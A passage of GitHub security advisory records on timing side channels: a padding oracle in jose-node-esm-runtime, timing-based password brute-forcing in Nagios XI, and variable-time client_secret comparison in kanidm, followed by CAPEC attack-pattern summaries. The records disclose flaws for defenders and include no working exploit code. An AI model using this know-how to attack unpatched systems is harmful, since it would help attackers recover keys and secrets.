"nvd_published_at": "2021-04-16T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `\u003e=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.",
"id": "GHSA-4v4g-726h-xvfv",
"modified": "2023-03-17T17:49:46Z",
"published": "2021-04-19T14:59:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/panva/jose/security/advisories/GHSA-4v4g-726h-xvfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29445"
},
{
"type": "PACKAGE",
"url": "https://github.com/panva/jose"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/jose-node-esm-runtime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-esm-runtime"
}
GHSA-4W2R-VX7W-6P4W
Vulnerability from github – Published: 2026-09-14 06:31 – Updated: 2026-09-14 06:31An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.
{
"affected": [],
"aliases": [
"CVE-2023-24035"
],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T04:16:35Z",
"severity": "LOW"
},
"details": "An issue was discovered in Nagios XI before 5.9.3. The is_insecure_login_authenticated function uses a insecure timing comparison that leads to an attacker being able to bruteforce the admin password, by measuring timing differences in the comparison.",
"id": "GHSA-4w2r-vx7w-6p4w",
"modified": "2026-09-14T06:31:17Z",
"published": "2026-09-14T06:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24035"
},
{
"type": "WEB",
"url": "https://www.nagios.com/downloads/nagios-xi/change-log"
},
{
"type": "WEB",
"url": "https://www.nagios.com/security-disclosures"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-53HJ-R94P-8C8F
Vulnerability from github – Published: 2026-05-06 23:37 – Updated: 2026-05-06 23:37Summary
The kanidmd OAuth2 token-exchange (/oauth2/token) and token-introspection (/oauth2/token/introspect) endpoints compare the supplied client_secret against the stored secret using Rust's PartialEq on String, which short-circuits on the first mismatching byte. This produces an observable timing discrepancy that varies with the length of the matching prefix.
Details
- https://github.com/kanidm/kanidm/blob/master/server/lib/src/idm/oauth2.rs#L1135 — variable-time comparison in
check_oauth2_token_exchange - https://cwe.mitre.org/data/definitions/208.html — CWE-208: Observable Timing Discrepancy
PoC
Static analysis only — no timing-recovery script was run because remote recovery of a 48-byte high-entropy secret over HTTPS is not practically demonstrable. The variable-time behaviour is established by inspection:
// server/lib/src/idm/oauth2.rs:1135 (check_oauth2_token_exchange)
if authz_secret == &secret { … } else { return Err(Oauth2Error::AuthenticationRequired); }
String: PartialEq delegates to <[u8] as PartialEq>::eq, which checks length equality then iterates byte-by-byte and returns on the first difference.
Impact
An unauthenticated network attacker who can reach the OAuth2 endpoints can submit arbitrary client_id/client_secret pairs and observe response latency. In principle the early-exit comparison leaks the position of the first mismatching byte, providing a timing oracle toward incremental recovery of a confidential client's secret. In practice the stored secret is a server-generated 48-character high-entropy string, the comparison runs inside an async tokio handler behind TLS, and network jitter is orders of magnitude larger than a single byte-compare — so remote recovery is not considered realistic with current techniques. This is a hardening issue rather than a practically exploitable vulnerability.
Affected versions
All published kanidmd_lib releases; the comparison is still variable-time on master at 1.10.0-dev
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.9.2"
},
"package": {
"ecosystem": "crates.io",
"name": "kanidm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-208"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:37:56Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nThe kanidmd OAuth2 token-exchange (`/oauth2/token`) and token-introspection (`/oauth2/token/introspect`) endpoints compare the supplied `client_secret` against the stored secret using Rust\u0027s `PartialEq` on `String`, which short-circuits on the first mismatching byte. This produces an observable timing discrepancy that varies with the length of the matching prefix.\n\n### Details\n\n- https://github.com/kanidm/kanidm/blob/master/server/lib/src/idm/oauth2.rs#L1135 \u2014 variable-time comparison in `check_oauth2_token_exchange`\n- https://cwe.mitre.org/data/definitions/208.html \u2014 CWE-208: Observable Timing Discrepancy\n\n### PoC\n\nStatic analysis only \u2014 no timing-recovery script was run because remote recovery of a 48-byte high-entropy secret over HTTPS is not practically demonstrable. The variable-time behaviour is established by inspection:\n\n```rust\n// server/lib/src/idm/oauth2.rs:1135 (check_oauth2_token_exchange)\nif authz_secret == \u0026secret { \u2026 } else { return Err(Oauth2Error::AuthenticationRequired); }\n```\n\n`String: PartialEq` delegates to `\u003c[u8] as PartialEq\u003e::eq`, which checks length equality then iterates byte-by-byte and returns on the first difference.\n\n### Impact\n\nAn unauthenticated network attacker who can reach the OAuth2 endpoints can submit arbitrary `client_id`/`client_secret` pairs and observe response latency. In principle the early-exit comparison leaks the position of the first mismatching byte, providing a timing oracle toward incremental recovery of a confidential client\u0027s secret. In practice the stored secret is a server-generated 48-character high-entropy string, the comparison runs inside an async tokio handler behind TLS, and network jitter is orders of magnitude larger than a single byte-compare \u2014 so remote recovery is not considered realistic with current techniques. This is a hardening issue rather than a practically exploitable vulnerability.\n\n### Affected versions\n\nAll published `kanidmd_lib` releases; the comparison is still variable-time on `master` at 1.10.0-dev",
"id": "GHSA-53hj-r94p-8c8f",
"modified": "2026-05-06T23:37:56Z",
"published": "2026-05-06T23:37:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kanidm/kanidm/security/advisories/GHSA-53hj-r94p-8c8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/kanidm/kanidm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Kanidm has non-constant-time comparison of OAuth2 client_secret"
}
No mitigation information available for this CWE.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-541: Application Fingerprinting
An adversary engages in fingerprinting activities to determine the type or version of an application installed on a remote target.
CAPEC-580: System Footprinting
An adversary engages in active probing and exploration activities to determine security information about a remote target system. Often times adversaries will rely on remote applications that can be probed for system configurations.